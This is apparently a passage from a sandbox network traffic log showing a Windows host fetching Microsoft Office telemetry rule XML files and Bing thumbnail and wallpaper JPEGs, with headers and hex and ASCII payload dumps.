2024-11-23 20:59:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205918Z-174c587ffdfmlsmvhC1TEBvyks00000003r0000000000fn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205918Z-178bfbc474bmqmgjhC1NYCy16c000000050000000000f9qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: dbeb181e-a01e-0050-28df-3ddb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205918Z-15b8b599d885ffrhhC1TEBtuv000000003d000000000puwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:18 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 65361fd5-201e-0033-283f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205918Z-15b8b599d882hxlwhC1TEBfa5w00000003e0000000004295 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:18 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205918Z-178bfbc474brk967hC1NYCfu6000000004t000000000b3vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:18 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49729	2.16.158.81	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	367	OUT	GET /th?id=OADD2.10239401775639_1QOWDQVJF3IB2VD8V&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-23 20:59:19 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 888 Date: Sat, 23 Nov 2024 20:59:19 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.1f9e1002.1732395559.e0bb090
2024-11-23 20:59:19 UTC	888	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 00 18 00 18 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC"}!1AQa"q2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:18 UTC	375	OUT	GET /th?id=OADD2.10239379451728_14XNMF6X4FSK32IPX&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 403266 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1C5C4BB2740A4049B7F483C4F1925EE8 Ref B: EWR30EDGE1620 Ref C: 2024-11-23T20:59:19Z Date: Sat, 23 Nov 2024 20:59:18 GMT Connection: close
2024-11-23 20:59:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 35 3a 33 34 3a 35 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 15:34:588C
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: cf b7 ef 52 49 3b 7d df bb b7 fe fa a9 e6 b9 65 99 26 db fe ea d4 6d 2f ee ea 06 95 da 1d b1 f9 6a d5 14 d2 e3 e5 fe 2f ef d2 94 b4 1a 8d 8b 5e 7b 33 ff 00 b5 48 b3 b7 c9 22 ff 00 e8 ba aa ce eb f2 ac 9b 7f db 7a 23 95 96 44 59 3e ef f0 54 29 76 2b 63 46 37 dd f2 ac 9f 7a 9b 95 49 36 b7 f0 d5 45 95 97 e6 a7 2c eb f7 7c cd cd f7 77 d5 f3 13 6b 16 59 d9 a3 7d b4 79 8b e5 ed 93 cc dd 55 bc cf e1 fd df fb 1f ec 51 96 5f f9 69 47 30 72 93 2c 9f c4 d2 49 fe 7d 29 24 66 67 dd fb c5 54 a8 77 b0 7d df 7a a4 56 55 8f 6f 97 bb f8 bf bb 4e 32 d0 9b 0d 91 f6 c6 ca d2 6e fe e5 46 c5 97 62 b7 dd a7 37 fa cf dd fd ef f7 2a 19 02 ff 00 17 fd f7 43 90 24 19 56 ff 00 67 75 0a ff 00 bb dd e5 fc bf dc a6 e7 3f 33 7f ab fe ff 00 de a6 34 8a bf 2a ff 00 e3 95 3c e5 72 bb 97 23 Data Ascii: RI;}e&m/j/^{3H"z#DY>T)v+cF7zI6E,\|wkY}yUQ_iG0r,I})$fgTw}zVUoN2nFb7C$Vgu?34<r#
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: f7 2a d2 ef db 27 98 df 75 7e fd 67 26 5c 62 3e 4f fc 88 b4 cc ed 93 fd df fb ea 9f bf cb fb df 2b 7f b1 50 36 d5 91 36 ff 00 0f cb ff 00 01 ac a5 a1 a2 1c bf 2c 9b bc b9 37 7f b9 52 b3 2b 16 a8 10 af f1 7c bf ef fd da 56 7f e2 fb bb bf b9 fd ea cf 98 b2 5f bb b7 f7 7b 77 7f 07 f9 ef 4e 59 3f 76 8c bf 2b 37 f7 fd aa 35 76 49 11 bf 78 eb b3 fc 8a 6a a3 7d df de 7f c0 ff 00 95 57 a0 5a fa 32 c2 bb 34 7f 2f cb 4e f3 55 be f4 71 aa fd df f2 2a ba cb bb fe 5a 7c cb ff 00 a1 53 bf dd b8 fe 0f fb e3 1e b4 93 56 1f 52 4d db 7e 56 f9 da 98 d2 6d 77 ff 00 59 f3 7f 7e a3 ce e9 3f de ff 00 6e 92 4f f5 7b aa 76 d8 a8 f9 92 b3 b3 47 f3 7c cd f7 69 8d 27 df ff 00 67 fb f4 2f cf 1f cd 46 cd b1 f9 6d 53 7d 4b d8 8e 47 da ff 00 e7 75 45 23 e7 7a af dd d9 fc 7f c7 4e 93 e6 Data Ascii: 'u~g&\b>O+P66,7R+\|V_{wNY?v+75vIxj}WZ24/NUqZ\|SVRM~VmwY~?nO{vG\|i'g/FmS}KGuE#zN
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: f4 ad b0 f2 8d 1a 8a 55 1d bf ab 19 d7 8f 3c 1a 81 ab e0 df 18 e9 97 fe 20 86 df 4f fd eb 45 b6 28 5d df 6f 9c c3 ab ff 00 b2 a2 bb ad 6b 52 b9 bf d0 1e e1 67 f2 a3 6d d1 f9 c9 f7 5f 1f 37 c8 07 5a e4 b4 6f 87 9a 66 87 e3 0b 7d 3f 49 74 9e 4f b2 2a dc 3e ff 00 96 db 3f 78 ff 00 bc 7b 57 5f f1 46 1b 2d 2f c0 ef 66 2e d1 16 d6 df e6 95 7f 8f e6 fb ab 5c f5 e7 4e 75 21 ec 93 b6 9b 9a 53 e6 8a f7 f7 3c 47 c6 de 3c d5 f5 eb a4 f0 fe 8b 1c 91 5b fc cb f2 3f cd 33 1e bb 8f f7 47 4a 8f 45 d1 b5 3d 0e d3 ed 5a c4 7b 55 9d 56 c5 1f fe 79 f7 6f c5 ba 54 1e 0f b9 d2 ad fc 62 97 1a 3c 1e 6c d2 dc 2c 49 33 fd d4 8f d9 7d eb d3 b5 28 62 bf ff 00 89 a5 f4 9b a3 b5 99 56 1f f7 87 ad 7a d2 ab 2a 0d 53 84 6d 17 f7 9e 7f b1 8d 74 e7 39 5d af b8 df f0 4c ff 00 d9 5a 56 db c8 Data Ascii: U< OE(]okRgm_7Zof}?ItO>?x{W_F-/f.\Nu!S<G<[?3GJE=Z{UVyoTb<l,I3}(bVzSmt9]LZV
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: c8 df c2 bf 2d 57 91 77 47 ba 4f e2 4f 9e b0 66 aa c8 8b 2b fc 3e 66 e6 a8 64 93 6c 89 ff 00 7d 7f ab a9 b2 cd ff 00 2c f6 b5 43 30 db f7 7e 56 f9 aa 62 ac 8b eb 72 ac df 3e fa 66 62 f2 ff 00 e5 9a b7 f9 ff 00 be aa c7 f7 19 7f ef 8a 8b 62 fc 8d e6 7c bb 3f cf 15 9b 57 2a 2c 6c 8f bb e6 5f bd fc 14 dc 7e ed d5 bf b9 f3 bf f0 f1 43 7c a8 92 7f 0b 7d c4 ff 00 6a 9c bf eb 3f ce ee 6a 2d 71 0d f9 7e ef f0 fd ef f8 0d 48 a1 9b ef 49 27 f1 6c f9 28 5d df 75 7e 56 fb c8 8f 4c d9 ba 3d ab fd ff 00 e3 fe 0a 3c 89 63 d8 15 8d 36 fc aa a9 b9 29 63 75 58 fc bf 2d 17 fb e8 92 52 a8 fe 16 fe 2f 9b 7f ff 00 5e a1 63 bb 63 7f 94 a5 28 b1 22 4c ff 00 0a f9 6d fd ca 18 b7 99 b5 a3 dd fe c3 d4 3e 67 cf f2 fc ad f7 77 ec a9 3e fa 7c bf df a8 71 1d c7 31 db f7 a4 f9 57 fe 03 Data Ascii: -WwGOOf+>fdl},C0~Vbr>fbb\|?W*,l_~C\|}j?j-q~HI'l(]u~VL=<c6)cuX-R/^cc("Lm>gw>\|q1W
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: a0 8e 3f b8 cd f7 5b fb ff 00 a5 3e 35 ff 00 96 7e 66 da 48 ff 00 eb a5 39 76 b7 de 93 77 95 fe 78 a5 72 92 b0 e6 1b 9f fb cd b2 91 b6 fc eb e5 ef 55 fe 0a 73 0d b2 6d 6f e3 fe 0f ef ad 3d 87 ef 3c b6 f9 7f f4 1a 94 fa 8f 72 bf de 93 77 de fe 1f 92 9d 1e d4 8f e5 f9 bf cf 6a 97 e5 f3 3e 68 e4 55 fb b4 c9 20 fd db b7 ef 36 fd df ff 00 5d 55 de ac 39 46 aa 37 de ff 00 ec a9 18 2b 6e fe 05 ff 00 73 ef fb ad 4b ff 00 2d 37 37 cd f3 ff 00 07 cb 51 c9 b5 7f e5 a6 d5 fe fd 24 d6 f7 1d 85 52 c9 b5 5b ee fd d4 d9 f7 a9 23 0a d1 bb 79 72 6e 54 f9 ff 00 bb ba 9f fe d3 7d d6 4f 9e 9e a3 76 f8 db cb 56 f9 a8 6f 5b 82 5d 04 fe ff 00 fa cd ad b7 e7 fe 74 2a ee f9 a4 48 fe 5f e0 a7 2f cd 22 2f dd 6f f6 3f c6 95 77 fd ef 9e 8e 61 72 97 2c e5 5f b5 2f 9d 27 de 7f 93 fd 8a Data Ascii: ?[>5~fH9vwxrUsmo=<rwj>hU 6]U9F7+nsK-77Q$R[#yrnT}OvVo[]t*H_/"/o?war,_/'
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 23 a1 d4 e9 de 37 8c b5 3c db c0 fa ef 81 f5 2d 0d 2d f5 c8 20 b7 56 7f bf 0a 2f 9a eb b7 84 67 eb 5e c5 fb 31 f8 7f c3 5a 47 da 2f b4 fd 4a d5 a4 95 f7 7e f7 e5 f9 47 6a f9 56 cf c3 da ad ef 89 9e 35 8f 6f 9b 36 dd ff 00 75 51 bf da ad 4d 26 e7 5e 8b 5c 86 c7 ec 93 c5 f6 57 da 93 26 ef 9f d7 1c fd d3 5a 57 c2 c2 69 c6 13 df 56 65 47 10 d5 b9 a3 e5 73 f4 6b 41 96 0d 4e 36 f2 67 f9 57 fe 79 6d db ba b1 fc 5d e2 cb 1d 06 4f ec d9 e4 4f b5 4a 9f e8 fb 5f e6 76 1f c3 8f 53 5e 79 fb 3e f8 97 ca d3 a1 8e e2 7d ad 12 2e c4 74 65 5f 4f e2 ef 5d 67 c5 df 05 69 be 2e d0 56 69 ee ef 6c 2e c7 fc 7b dc 23 aa af f8 d7 87 ac 5d a5 ba dc de 54 a3 1a aa fa c5 ed ea 70 da 8f 8a 7e 1d fc 45 b3 fb 3d e5 d3 a4 cc 8c b0 bd c6 ef b4 c3 fd ef 97 a1 e6 b8 0f 10 7c 00 93 50 be 7f Data Ascii: #7<-- V/g^1ZG/J~GjV5o6uQM&^\W&ZWiVeGskAN6gWym]OOJ_vS^y>}.te_O]gi.Vil.{#]Tp~E=\|P
2024-11-23 20:59:19 UTC	16067	IN	Data Raw: 9b c5 1f 66 b6 d0 3c b9 a7 db b7 fd 8f be d5 35 b9 65 1d 0b a1 cd 16 ee 61 34 f1 a4 68 be 46 e9 3f be 95 bf e1 7d 7f 67 ee 6d e3 8e de 45 4f 9d fe ed 72 3a 0e b2 bf 65 b8 86 6f f9 6a 9f 7f f9 51 e1 3b b9 e2 d6 36 b2 6e f9 fe ff 00 fb 35 c5 2a 37 bd d6 c7 a1 0c 43 4a 36 7b 9f 4c fc 3f d5 75 1b 8d 36 19 a6 93 cd f3 51 bf 4a d5 93 c4 3a 7b fd bb 49 be 82 36 b8 b8 b4 92 58 77 fd ee 3b 7d 6b 27 e1 ba 4b 7b a1 db fd 8e 3f de 5b fc c8 ef f2 aa 37 a5 79 97 c4 6b 8d 79 bc 7f 70 d0 c9 3b 5c 33 b3 3b ec da bf 37 f7 6b ce 76 9c ed 6b 58 f4 d2 71 4a 4f 5b 9d df 82 7e 25 d9 e9 7a 55 c6 9e b7 71 ca bb f6 bf fb be bf 51 56 3c 3b f1 7e 0f b0 cb 63 7d 77 e6 ee 99 be e7 f1 f6 e7 fa 57 82 dd 78 6f c4 30 5f 4d 34 96 13 c5 bf e6 df fc 3c d1 67 6d 2f 99 e5 c3 26 e6 ff 00 62 b5 Data Ascii: f<5ea4hF?}gmEOr:eojQ;6n5*7CJ6{L?u6QJ:{I6Xw;}k'K{?[7ykyp;\3;7kvkXqJO[~%zUqQV<;~c}wWxo0_M4<gm/&b
